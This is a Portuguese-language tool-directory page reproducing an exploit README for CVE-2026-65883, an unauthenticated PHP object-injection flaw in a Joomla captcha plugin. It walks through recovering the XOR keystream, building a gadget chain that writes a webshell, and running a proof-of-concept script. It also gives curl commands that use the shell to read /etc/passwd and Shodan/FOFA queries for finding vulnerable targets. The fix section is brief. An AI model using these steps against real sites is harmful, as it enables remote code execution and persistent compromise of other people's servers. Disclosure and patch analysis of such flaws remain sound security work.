Skip to content
KitploitKITPLOIT
FerramentasBlog
Enviar
FerramentasBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

··Feeds·Contato·Privacidade·© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
CVE-2026-65883 — Componente Joomla Aimy Captcha-Less Form Guard — Injeção de Objeto PHP RCE. clfgd recuperação de keystream XOR + unserialize(). CVSS 10.0 | CWE-502 | aimy_captcha-less_form_guard < 20.1 | Kitploit
Ferramentas/GitHubGitHub/shinthink/cve-2026-65883
Geração de PayloadsAnálise de VulnerabilidadesExploraçãoExploração de Aplicações WebColeta de InformaçõesTestes de PenetraçãoRed Teaming
GitHubshinthink/cve-2026-65883

CVE-2026-65883

Componente Joomla Aimy Captcha-Less Form Guard — Injeção de Objeto PHP RCE. clfgd recuperação de keystream XOR + unserialize(). CVSS 10.0 | CWE-502 | aimy_captcha-less_form_guard < 20.1

Ver Repositório
45há 1 mêsAinda não revisado

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar

Python CVE CVSS License

CVE-2026-65883 — Aimy Captcha-Less Form Guard <= 20.0

Campo clfgd → Recuperação XOR → unserialize() → FormattedtextLogger → RCE


Visão Geral

Injeção de Objeto PHP não autenticada no Aimy Captcha-Less Form Guard para Joomla. O método onCheckAnswer() decodifica em base64 o campo POST clfgd controlado pelo atacante, aplica um XOR de chave repetitiva e passa o resultado diretamente para — .

unserialize()
sem HMAC, sem restrição de allowed_classes e sem verificação de integridade
CampoDetalhe
CVECVE-2026-65883
ProdutoAimy Captcha-Less Form Guard (plugin do Joomla)
CVSS 4.010.0 (Crítico)
TipoCWE-502 — Desserialização de Dados Não Confiáveis
Afetado18.0 — 20.0
Corrigido20.1 (29 de julho de 2026)
DescobertoValentin Lobstein (Chocapikk) / VulnCheck — 26 de julho de 2026

Versões Afetadas

StatusVersão
Vulnerável18.0 — 20.0
Corrigido20.1 (29 de julho de 2026)

Mecanismo da Vulnerabilidade

Causa Raiz

O método onCheckAnswer() em plg_captcha_aimycaptchalessformguard passa a entrada controlada pelo atacante diretamente para unserialize():

root@kitploit:~
// onCheckAnswer() — pre-20.1
$cld = false;
if (($clfgd = $input->get('clfgd', '', 'RAW'))) {
    $cld = @unserialize(
        XorHelper::crypt( base64_decode($clfgd), self::getXorKey() )
    );
}

A "criptografia" XOR é uma cifra de Vigenère com chave por sessão — sem autenticação, apenas ofuscação.

A Criptografia Quebrada

root@kitploit:~
// XorHelper::crypt() — repeating-key XOR, period 231
static public function crypt($bytes, $key) {
    $ekey = str_split(self::getHashedKey($key));  // sha512.sha256.sha1 = 232 hex
    $s    = str_split(strVal($bytes));
    $klen = count($ekey);
    for ($i = 0; $i < count($s); $i++) {
        $val .= $s[$i] ^ $ekey[$i % ($klen - 1)];  // period 231
    }
    return $val;
}

Recuperação do Keystream

O plugin renderiza tanto o texto cifrado quanto o texto claro na mesma resposta HTML:

root@kitploit:~
// onDisplay()
$cld->trap_ids = array($id, $trap_id);      // readable from HTML
$cld->mt       = time() + 7;                 // known (server time + 7s)
$html .= '<input name="clfgd" value="'
      . base64_encode(XorHelper::crypt(serialize($cld), $key))
      . '" />';

Como tanto trap_ids (extraíveis do <span id="..._mark"> e do campo honeypot) quanto o texto cifrado estão no HTML, aplicar XOR entre eles recupera ~94 bytes do keystream de 231 bytes.

Fluxo de Ataque

  1. GET em qualquer formulário protegido por captcha (registro, login, contato, redefinição de senha)
  2. Extraia o texto cifrado clfgd + trap_ids + timing → recupere 94 bytes do keystream
  3. Alinhe um objeto serializado FormattedtextLogger para que os bytes estruturais caiam em posições conhecidas do keystream
  4. POST com clfgd malicioso → unserialize() → __destruct() → formatLine() → grava webshell PHP
  5. GET /random.php?c=id → RCE como www-data

Prova de Conceito

Alvo Único

root@kitploit:~
$ python cve_2026_65883.py -t target.com

  Target      : target.com
  Status      : Aimy Captcha-Less Form Guard v20.0
  Form        : /index.php?option=com_users&view=registration
  Keystream   : 94 bytes recovered
  Shell       : a1b2c3d4e5.php
  Gadget      : 1460 bytes
  POST        : HTTP 303
  Shell URL   : https://target.com/a1b2c3d4e5.php
  RCE         : CONFIRMED!

RCE ACHIEVED!
  https://target.com/a1b2c3d4e5.php?c=id

Exploração Manual

root@kitploit:~
# Step 1 — Get form + recover keystream
curl -sk "https://target.com/index.php?option=com_users&view=registration" \
  | grep -oP 'clfgd" value="\K[^"]+' | base64 -d > /tmp/ct.bin

# Step 2 — Build FormattedtextLogger gadget + XOR encrypt
python cve_2026_65883.py -t target.com -c "id"

# Step 3 — Access webshell
curl -sk "https://target.com/a1b2c3d4e5.php?c=cat+/etc/passwd"

FOFA / Shodan

root@kitploit:~
# Aimy Captcha hidden field
body="clfgd" && body="Joomla"

# Plugin version disclosure
body="aimycaptchalessformguard"

# Shodan
http.html:"clfgd" http.component:"Joomla"

A Correção (20.1)

root@kitploit:~
// 20.0 (vulnerable)
$cld = @unserialize( XorHelper::crypt( base64_decode($clfgd), self::getXorKey() ) );

// 20.1 (fixed)
$cld = @json_decode( XorHelper::crypt( base64_decode($clfgd), self::getXorKey() ) );

json_decode() não pode instanciar objetos PHP — a cadeia de gadgets POP é interrompida.


Impacto

  • RCE Total — execute comandos arbitrários como www-data
  • Nenhuma autenticação necessária — qualquer formulário público com captcha é um vetor
  • Joomla 3.9–5.2.1 — o gadget FormattedtextLogger funciona em todas as versões
  • Persistente — o webshell permanece até ser removido manualmente

Aviso Legal

Esta ferramenta destina-se apenas a testes de segurança educacionais e autorizados. Use-a apenas em sistemas que você possua ou tenha permissão explícita para testar.


Referências

RecursoLink
VulnCheck Blogvulncheck.com/blog/aimy-captcha-less-form-guard-object-injection
IONIX Threat Centerionix.io/threat-center/cve-2026-65883
Registro CVEcve.org/CVERecord?id=CVE-2026-65883
NVDnvd.nist.gov/vuln/detail/CVE-2026-65883

Não afiliado à Aimy Extensions ou à VulnCheck.

Baixar ferramenta